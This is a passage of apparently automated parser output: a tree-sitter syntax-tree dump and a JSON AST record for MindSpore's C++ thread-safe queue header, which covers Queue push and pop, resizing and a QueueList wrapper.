sz_;" (storage_class_specifier) "auto" (auto) "auto" (type_identifier) "k" (init_declarator) " = tail_++ % sz_" (identifier) "" (=) "=" (binary_expression) "tail_++ % sz_" (update_expression) "tail_++" (identifier) "tail_" (++) "++" (%) "%" (identifier) "sz_" (;) ";" (expression_statement) "*(arr_[k]) = std::forward<T>(ele);" (binary_expression) "*(arr_[k]) = std::forward<T>(ele)" (binary_expression) "*(arr_[k]) = std::forward<T" (assignment_expression) "*(arr_[k]) = std" (pointer_expression) "*(arr_[k])" (*) "*" (parenthesized_expression) "(arr_[k])" (() "(" (subscript_expression) "arr_[k]" (identifier) "arr_" ([) "[" (identifier) "k" (]) "]" ()) ")" (=) "=" (identifier) "std" (ERROR) "::forward" (:) ":" (:) ":" (identifier) "forward" (<) "<" (identifier) "T" (>) ">" (parenthesized_expression) "(ele)" (() "(" (identifier) "ele" ()) ")" (;) ";" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (comment) "// Helper function for PopFront, must be called when holding a lock" (function_definition) "Status PopFrontWhileHoldingLock(pointer p, bool clean_extra) {\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "PopFrontWhileHoldingLock(pointer p, bool clean_extra)" (identifier) "PopFrontWhileHoldingLock" (parameter_list) "(pointer p, bool clean_extra)" (() "(" (parameter_declaration) "pointer p" (type_identifier) "pointer" (identifier) "p" (,) "," (parameter_declaration) "bool clean_extra" (primitive_type) "bool" (identifier) "clean_extra" ()) ")" (compound_statement) "{\n auto k = head_++ % sz_;\n *p = std::move(*(arr_[k]));\n if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }\n return Status::OK();\n }" ({) "{" (declaration) "auto k = head_++ % sz_;" (storage_class_specifier) "auto" (auto) "auto" (type_identifier) "k" (init_declarator) " = head_++ % sz_" (identifier) "" (=) "=" (binary_expression) "head_++ % sz_" (update_expression) "head_++" (identifier) "head_" (++) "++" (%) "%" (identifier) "sz_" (;) ";" (ERROR) "*p = std::" (assignment_expression) "*p = std" (pointer_expression) "*p" (*) "*" (identifier) "p" (=) "=" (identifier) "std" (:) ":" (:) ":" (expression_statement) "move(*(arr_[k]));" (call_expression) "move(*(arr_[k]))" (identifier) "move" (argument_list) "(*(arr_[k]))" (() "(" (pointer_expression) "*(arr_[k])" (*) "*" (parenthesized_expression) "(arr_[k])" (() "(" (subscript_expression) "arr_[k]" (identifier) "arr_" ([) "[" (identifier) "k" (]) "]" ()) ")" ()) ")" (;) ";" (if_statement) "if (!extra_arr_.empty() && clean_extra) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }" (if) "if" (parenthesized_expression) "(!extra_arr_.empty() && clean_extra)" (() "(" (binary_expression) "!extra_arr_.empty() && clean_extra" (unary_expression) "!extra_arr_.empty()" (!) "!" (call_expression) "extra_arr_.empty()" (field_expression) "extra_arr_.empty" (identifier) "extra_arr_" (.) "." (field_identifier) "empty" (argument_list) "()" (() "(" ()) ")" (&&) "&&" (identifier) "clean_extra" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));\n extra_arr_.erase(extra_arr_.begin());\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])));" (call_expression) "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0])))" (() "(" (call_expression) "this->AddWhileHoldingLock(std::forward<T>(extra_arr_[0]))" (field_expression) "this->AddWhileHoldingLock" (identifier) "this" (->) "->" (field_identifier) "AddWhileHoldingLock" (argument_list) "(std::forward<T>(extra_arr_[0]))" (() "(" (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "forward<T>(extra_arr_[0])" (binary_expression) "forward<T" (identifier) "forward" (<) "<" (identifier) "T" (>) ">" (parenthesized_expression) "(extra_arr_[0])" (() "(" (subscript_expression) "extra_arr_[0]" (identifier) "extra_arr_" ([) "[" (number_literal) "0" (]) "]" ()) ")" ()) ")" ()) ")" (;) ";" (expression_statement) "extra_arr_.erase(extra_arr_.begin());" (call_expression) "extra_arr_.erase(extra_arr_.begin())" (field_expression) "extra_arr_.erase" (identifier) "extra_arr_" (.) "." (field_identifier) "erase" (argument_list) "(extra_arr_.begin())" (() "(" (call_expression) "extra_arr_.begin()" (field_expression) "extra_arr_.begin" (identifier) "extra_arr_" (.) "." (field_identifier) "begin" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (function_definition) "void ResetQue() noexcept {\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }" (primitive_type) "void" (function_declarator) "ResetQue() noexcept" (identifier) "ResetQue" (parameter_list) "()" (() "(" ()) ")" (identifier) "noexcept" (compound_statement) "{\n while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }\n empty_cv_.ResetIntrpState();\n full_cv_.ResetIntrpState();\n head_ = 0;\n tail_ = 0;\n }" ({) "{" (while_statement) "while (head_ < tail_) {\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }" (while) "while" (parenthesized_expression) "(head_ < tail_)" (() "(" (binary_expression) "head_ < tail_" (identifier) "head_" (<) "<" (identifier) "tail_" ()) ")" (compound_statement) "{\n T val;\n this->PopFrontWhileHoldingLock(&val, false);\n MS_LOG(DEBUG) << "Address of val: " << &val;\n }" ({) "{" (declaration) "T val;" (type_identifier) "T" (identifier) "val" (;) ";" (expression_statement) "this->PopFrontWhileHoldingLock(&val, false);" (call_expression) "this->PopFrontWhileHoldingLock(&val, false)" (field_expression) "this->PopFrontWhileHoldingLock" (identifier) "this" (->) "->" (field_identifier) "PopFrontWhileHoldingLock" (argument_list) "(&val, false)" (() "(" (pointer_expression) "&val" (&) "&" (identifier) "val" (,) "," (false) "false" ()) ")" (;) ";" (expression_statement) "MS_LOG(DEBUG) << "Address of val: " << &val;" (binary_expression) "MS_LOG(DEBUG) << "Address of val: " << &val" (binary_expression) "MS_LOG(DEBUG) << "Address of val: "" (call_expression) "MS_LOG(DEBUG)" (identifier) "MS_LOG" (argument_list) "(DEBUG)" (() "(" (identifier) "DEBUG" ()) ")" (<<) "<<" (string_literal) ""Address of val: "" (") """ (string_content) "Address of val: " (") """ (<<) "<<" (pointer_expression) "&val" (&) "&" (identifier) "val" (;) ";" (}) "}" (expression_statement) "empty_cv_.ResetIntrpState();" (call_expression) "empty_cv_.ResetIntrpState()" (field_expression) "empty_cv_.ResetIntrpState" (identifier) "empty_cv_" (.) "." (field_identifier) "ResetIntrpState" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "full_cv_.ResetIntrpState();" (call_expression) "full_cv_.ResetIntrpState()" (field_expression) "full_cv_.ResetIntrpState" (identifier) "full_cv_" (.) "." (field_identifier) "ResetIntrpState" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "head_ = 0;" (assignment_expression) "head_ = 0" (identifier) "head_" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "tail_ = 0;" (assignment_expression) "tail_ = 0" (identifier) "tail_" (=) "=" (number_literal) "0" (;) ";" (}) "}" (}) "}" (expression_statement) ";" (;) ";" (comment) "// A container of queues with [] operator accessors. Basically this is a wrapper over of a vector of queues" (comment) "// to help abstract/simplify code that is maintaining multiple queues." (ERROR) "template <typename T>\nclass QueueList" (binary_expression) "template <typename T>\nclass" (binary_expression) "template <typename" (identifier) "template" (<) "<" (identifier) "typename" (ERROR) "T" (identifier) "T" (>) ">" (identifier) "class" (identifier) "QueueList" (compound_statement) "{\n public:\n QueueList() {}\n\n void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }\n\n Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }\n\n auto size() const { return queue_list_.size(); }\n\n std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }\n\n const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }\n\n ~QueueList() = default;\n\n Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }\n Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }\n\n private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;\n}" ({) "{" (labeled_statement) "public:\n QueueList()" (statement_identifier) "public" (:) ":" (expression_statement) "QueueList()" (call_expression) "QueueList()" (identifier) "QueueList" (argument_list) "()" (() "(" ()) ")" (;) "" (compound_statement) "{}" ({) "{" (}) "}" (function_definition) "void Init(int num_queues, int capacity) {\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }" (primitive_type) "void" (function_declarator) "Init(int num_queues, int capacity)" (identifier) "Init" (parameter_list) "(int num_queues, int capacity)" (() "(" (parameter_declaration) "int num_queues" (primitive_type) "int" (identifier) "num_queues" (,) "," (parameter_declaration) "int capacity" (primitive_type) "int" (identifier) "capacity" ()) ")" (compound_statement) "{\n queue_list_.reserve(num_queues);\n for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }\n }" ({) "{" (expression_statement) "queue_list_.reserve(num_queues);" (call_expression) "queue_list_.reserve(num_queues)" (field_expression) "queue_list_.reserve" (identifier) "queue_list_" (.) "." (field_identifier) "reserve" (argument_list) "(num_queues)" (() "(" (identifier) "num_queues" ()) ")" (;) ";" (for_statement) "for (int i = 0; i < num_queues; i++) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < num_queues" (identifier) "i" (<) "<" (identifier) "num_queues" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));\n }" ({) "{" (expression_statement) "queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity));" (call_expression) "queue_list_.emplace_back(std::make_unique<Queue<T>>(capacity))" (field_expression) "queue_list_.emplace_back" (identifier) "queue_list_" (.) "." (field_identifier) "emplace_back" (argument_list) "(std::make_unique<Queue<T>>(capacity))" (() "(" (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "make_unique<Queue<T>>(capacity)" (binary_expression) "make_unique<Queue" (identifier) "make_unique" (<) "<" (identifier) "Queue" (<) "<" (binary_expression) "T>>(capacity)" (identifier) "T" (>>) ">>" (parenthesized_expression) "(capacity)" (() "(" (identifier) "capacity" ()) ")" ()) ")" (;) ";" (}) "}" (}) "}" (function_definition) "Status Register(TaskGroup *vg) {\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "Register(TaskGroup *vg)" (identifier) "Register" (parameter_list) "(TaskGroup *vg)" (() "(" (parameter_declaration) "TaskGroup *vg" (type_identifier) "TaskGroup" (pointer_declarator) "*vg" (*) "*" (identifier) "vg" ()) ")" (compound_statement) "{\n if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }\n for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }\n return Status::OK();\n }" ({) "{" (if_statement) "if (vg == nullptr) {\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }" (if) "if" (parenthesized_expression) "(vg == nullptr)" (() "(" (binary_expression) "vg == nullptr" (identifier) "vg" (==) "==" (null) "nullptr" (nullptr) "nullptr" ()) ")" (compound_statement) "{\n return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");\n }" ({) "{" (return_statement) "return Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.");" (return) "return" (call_expression) "Status(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.")" (identifier) "Status" (argument_list) "(StatusCode::kMDUnexpectedError, __LINE__, __FILE__,\n "Null task group during QueueList registration.")" (() "(" (ERROR) "StatusCode::" (identifier) "StatusCode" (:) ":" (:) ":" (identifier) "kMDUnexpectedError" (,) "," (identifier) "__LINE__" (,) "," (identifier) "__FILE__" (,) "," (string_literal) ""Null task group during QueueList registration."" (") """ (string_content) "Null task group during QueueList registration." (") """ ()) ")" (;) ";" (}) "}" (for_statement) "for (int i = 0; i < queue_list_.size(); ++i) {\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < queue_list_.size()" (identifier) "i" (<) "<" (call_expression) "queue_list_.size()" (field_expression) "queue_list_.size" (identifier) "queue_list_" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "++i" (++) "++" (identifier) "i" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(queue_list_[i]->Register(vg));" (call_expression) "RETURN_IF_NOT_OK(queue_list_[i]->Register(vg))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(queue_list_[i]->Register(vg))" (() "(" (call_expression) "queue_list_[i]->Register(vg)" (field_expression) "queue_list_[i]->Register" (subscript_expression) "queue_list_[i]" (identifier) "queue_list_" ([) "[" (identifier) "i" (]) "]" (->) "->" (field_identifier) "Register" (argument_list) "(vg)" (() "(" (identifier) "vg" ()) ")" ()) ")" (;) ";" (}) "}" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (ERROR) "auto size() const" (storage_class_specifier) "auto" (auto) "auto" (identifier) "size" (() "(" (ERROR) ")" ()) ")" (type_qualifier) "const" (const) "const" (compound_statement) "{ return queue_list_.size(); }" ({) "{" (return_statement) "return queue_list_.size();" (return) "return" (call_expression) "queue_list_.size()" (field_expression) "queue_list_.size" (identifier) "queue_list_" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "std::unique_ptr<Queue<T>> &operator[](const int index) { return queue_list_[index]; }" (statement_identifier) "std" (:) ":" (ERROR) ":unique_ptr<Queue<T>> &operator[](const int index)" (:) ":" (binary_expression) "unique_ptr<Queue<T>> &operator[](const int index)" (binary_expression) "unique_ptr<Queue" (identifier) "unique_ptr" (<) "<" (identifier) "Queue" (<) "<" (binary_expression) "T>> &operator[](const int index)" (identifier) "T" (>>) ">>" (pointer_expression) "&operator[](const int index)" (&) "&" (call_expression) "operator[](const int index)" (subscript_expression) "operator[]" (identifier) "operator" ([) "[" (identifier) "" (]) "]" (argument_list) "(const int index)" (() "(" (identifier) "const" (ERROR) "int index" (identifier) "int" (identifier) "index" ()) ")" (compound_statement) "{ return queue_list_[index]; }" ({) "{" (return_statement) "return queue_list_[index];" (return) "return" (subscript_expression) "queue_list_[index]" (identifier) "queue_list_" ([) "[" (identifier) "index" (]) "]" (;) ";" (}) "}" (function_definition) "const std::unique_ptr<Queue<T>> &operator[](const int index) const { return queue_list_[index]; }" (type_qualifier) "const" (const) "const" (type_identifier) "std" (ERROR) "::unique_ptr<Queue<T>> &" (:) ":" (:) ":" (identifier) "unique_ptr" (<) "<" (identifier) "Queue" (<) "<" (identifier) "T" (>>) ">>" (&) "&" (function_declarator) "operator[](const int index) const" (array_declarator) "operator[]" (identifier) "operator" ([) "[" (]) "]" (parameter_list) "(const int index)" (() "(" (parameter_declaration) "const int index" (type_qualifier) "const" (const) "const" (primitive_type) "int" (identifier) "index" ()) ")" (identifier) "const" (compound_statement) "{ return queue_list_[index]; }" ({) "{" (return_statement) "return queue_list_[index];" (return) "return" (subscript_expression) "queue_list_[index]" (identifier) "queue_list_" ([) "[" (identifier) "index" (]) "]" (;) ";" (}) "}" (expression_statement) "~QueueList() = default;" (unary_expression) "~QueueList() = default" (~) "~" (assignment_expression) "QueueList() = default" (call_expression) "QueueList()" (identifier) "QueueList" (argument_list) "()" (() "(" ()) ")" (=) "=" (identifier) "default" (;) ";" (function_definition) "Status AddQueue(TaskGroup *vg) {\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }" (type_identifier) "Status" (function_declarator) "AddQueue(TaskGroup *vg)" (identifier) "AddQueue" (parameter_list) "(TaskGroup *vg)" (() "(" (parameter_declaration) "TaskGroup *vg" (type_identifier) "TaskGroup" (pointer_declarator) "*vg" (*) "*" (identifier) "vg" ()) ")" (compound_statement) "{\n queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));\n return queue_list_[queue_list_.size() - 1]->Register(vg);\n }" ({) "{" (expression_statement) "queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()));" (call_expression) "queue_list_.emplace_back(std::make_unique<Queue<T>>(queue_list_[0]->capacity()))" (field_expression) "queue_list_.emplace_back" (identifier) "queue_list_" (.) "." (field_identifier) "emplace_back" (argument_list) "(std::make_unique<Queue<T>>(queue_list_[0]->capacity()))" (() "(" (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "make_unique<Queue<T>>(queue_list_[0]->capacity())" (binary_expression) "make_unique<Queue" (identifier) "make_unique" (<) "<" (identifier) "Queue" (<) "<" (binary_expression) "T>>(queue_list_[0]->capacity())" (identifier) "T" (>>) ">>" (parenthesized_expression) "(queue_list_[0]->capacity())" (() "(" (call_expression) "queue_list_[0]->capacity()" (field_expression) "queue_list_[0]->capacity" (subscript_expression) "queue_list_[0]" (identifier) "queue_list_" ([) "[" (number_literal) "0" (]) "]" (->) "->" (field_identifier) "capacity" (argument_list) "()" (() "(" ()) ")" ()) ")" ()) ")" (;) ";" (return_statement) "return queue_list_[queue_list_.size() - 1]->Register(vg);" (return) "return" (call_expression) "queue_list_[queue_list_.size() - 1]->Register(vg)" (field_expression) "queue_list_[queue_list_.size() - 1]->Register" (subscript_expression) "queue_list_[queue_list_.size() - 1]" (identifier) "queue_list_" ([) "[" (binary_expression) "queue_list_.size() - 1" (call_expression) "queue_list_.size()" (field_expression) "queue_list_.size" (identifier) "queue_list_" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (-) "-" (number_literal) "1" (]) "]" (->) "->" (field_identifier) "Register" (argument_list) "(vg)" (() "(" (identifier) "vg" ()) ")" (;) ";" (}) "}" (function_definition) "Status RemoveLastQueue() {\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "RemoveLastQueue()" (identifier) "RemoveLastQueue" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");\n queue_list_.pop_back();\n return Status::OK();\n }" ({) "{" (expression_statement) "CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.");" (call_expression) "CHECK_FAIL_RETURN_UNEXPECTED(queue_list_.size() > 1, "Cannot remove more than the current queues.")" (identifier) "CHECK_FAIL_RETURN_UNEXPECTED" (argument_list) "(queue_list_.size() > 1, "Cannot remove more than the current queues.")" (() "(" (binary_expression) "queue_list_.size() > 1" (call_expression) "queue_list_.size()" (field_expression) "queue_list_.size" (identifier) "queue_list_" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (>) ">" (number_literal) "1" (,) "," (string_literal) ""Cannot remove more than the current queues."" (") """ (string_content) "Cannot remove more than the current queues." (") """ ()) ")" (;) ";" (expression_statement) "queue_list_.pop_back();" (call_expression) "queue_list_.pop_back()" (field_expression) "queue_list_.pop_back" (identifier) "queue_list_" (.) "." (field_identifier) "pop_back" (argument_list) "()" (() "(" ()) ")" (;) ";" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "private:\n // Queue contains non-copyable objects, so it cannot be added to a vector due to the vector\n // requirement that objects must have copy semantics. To resolve this, we use a vector of unique\n // pointers. This allows us to provide dynamic creation of queues in a container.\n std::vector<std::unique_ptr<Queue<T>>> queue_list_;" (statement_identifier) "private" (:) ":" (comment) "// Queue contains non-copyable objects, so it cannot be added to a vector due to the vector" (comment) "// requirement that objects must have copy semantics. To resolve this, we use a vector of unique" (comment) "// pointers. This allows us to provide dynamic creation of queues in a container." (labeled_statement) "std::vector<std::unique_ptr<Queue<T>>> queue_list_;" (statement_identifier) "std" (ERROR) "::vector<std:" (:) ":" (:) ":" (binary_expression) "vector<std" (identifier) "vector" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "unique_ptr<Queue<T>>> queue_list_;" (binary_expression) "unique_ptr<Queue<T>>> queue_list_" (binary_expression) "unique_ptr<Queue" (identifier) "unique_ptr" (<) "<" (identifier) "Queue" (<) "<" (binary_expression) "T>>> queue_list_" (identifier) "T" (>>) ">>" (ERROR) ">" (>) ">" (identifier) "queue_list_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// namespace dataset" (ERROR) "}" (}) "}" (comment) "// namespace mindspore" (#endif) "#endif" (comment) "// MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_"
2,559
88
{"language": "c", "success": true, "metadata": {"lines": 259, "avg_line_length": 33.45, "nodes": 1474, "errors": 0, "source_hash": "71c387525d7e362ce833ae1af64556a8cb61eb715179272f26ddbfa846564335", "categorized_nodes": 1051}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n#define MINDSPORE_CCSRC_MINDDATA_DATASET_UTIL_QUEUE_H_\n\n#include <atomic>\n#include <memory>\n#include <mutex>\n#include <string>\n#include <type_traits>\n#include <utility>\n#include <vector>\n\n#include \"./securec.h\"\n#include \"utils/ms_utils.h\"\n#include \"minddata/dataset/util/allocator.h\"\n#include \"minddata/dataset/util/log_adapter.h\"\n#include \"minddata/dataset/util/services.h\"\n#include \"minddata/dataset/util/cond_var.h\"\n#include \"minddata/dataset/util/task_manager.h\"\n\nnamespace mindspore {\nnamespace dataset {\n// A simple thread safe queue using a fixed size array\ntemplate <typename T>\nclass Queue {\n public:\n using value_type = T;\n using pointer = T *;\n using const_pointer = const T *;\n using reference = T &;\n using const_reference = const T &;\n\n explicit Queue(int sz)\n : sz_(sz), arr_(Services::GetAllocator<T>()), head_(0), tail_(0), my_name_(Services::GetUniqueID()) {\n Status rc = arr_.allocate(sz);\n if (rc.IsError()) {\n MS_LOG(ERROR) << \"Fail to create a queue.\";\n std::terminate();\n } else {\n MS_LOG(DEBUG) << \"Create Q with uuid \" << my_name_ << \" of size \" << sz_ << \".\";\n }\n }\n\n virtual ~Queue() { ResetQue(); }\n\n size_t size() const {\n size_t v = tail_ - head_;\n return (v >= 0) ? v : 0;\n }\n\n size_t capacity() const { return sz_; }\n\n bool empty() const { return head_ == tail_; }\n\n void Reset() {\n std::unique_lock<std::mutex> _lock(mux_);\n ResetQue();\n extra_arr_.clear();\n }\n\n // Producer\n Status Add(const_reference ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(ele));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Add(T &&ele) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(AddWhileHoldingLock(std::forward<T>(ele)));\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n template <typename... Ts>\n Status EmplaceBack(Ts &&... args) noexcept {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when full\n Status rc = full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); });\n if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }\n return rc;\n }\n\n // Consumer\n Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }\n\n Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }\n\n Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n \"New capacity: \" + std::to_string(new_capacity) + \", should be larger than 0\");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }\n\n private:\n size_t sz_;\n MemGuard<T, Allocator<T>> arr_;\n std::vector<T> extra_arr_; // used to store extra elements after reducing capacity, will not be changed by Add,\n // will pop when there is a space in queue (by PopFront or Resize)\n size_t head_;\n size_t tail_;\n std::string my_name_;\n std::mutex mux_;\n CondVar empty_cv_;\n CondVar full_cv_;\n\n // Helper function for Add, must be called when holding a lock\n Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }\n\n // Helper function for Add, must be called when holding a lock\n Status 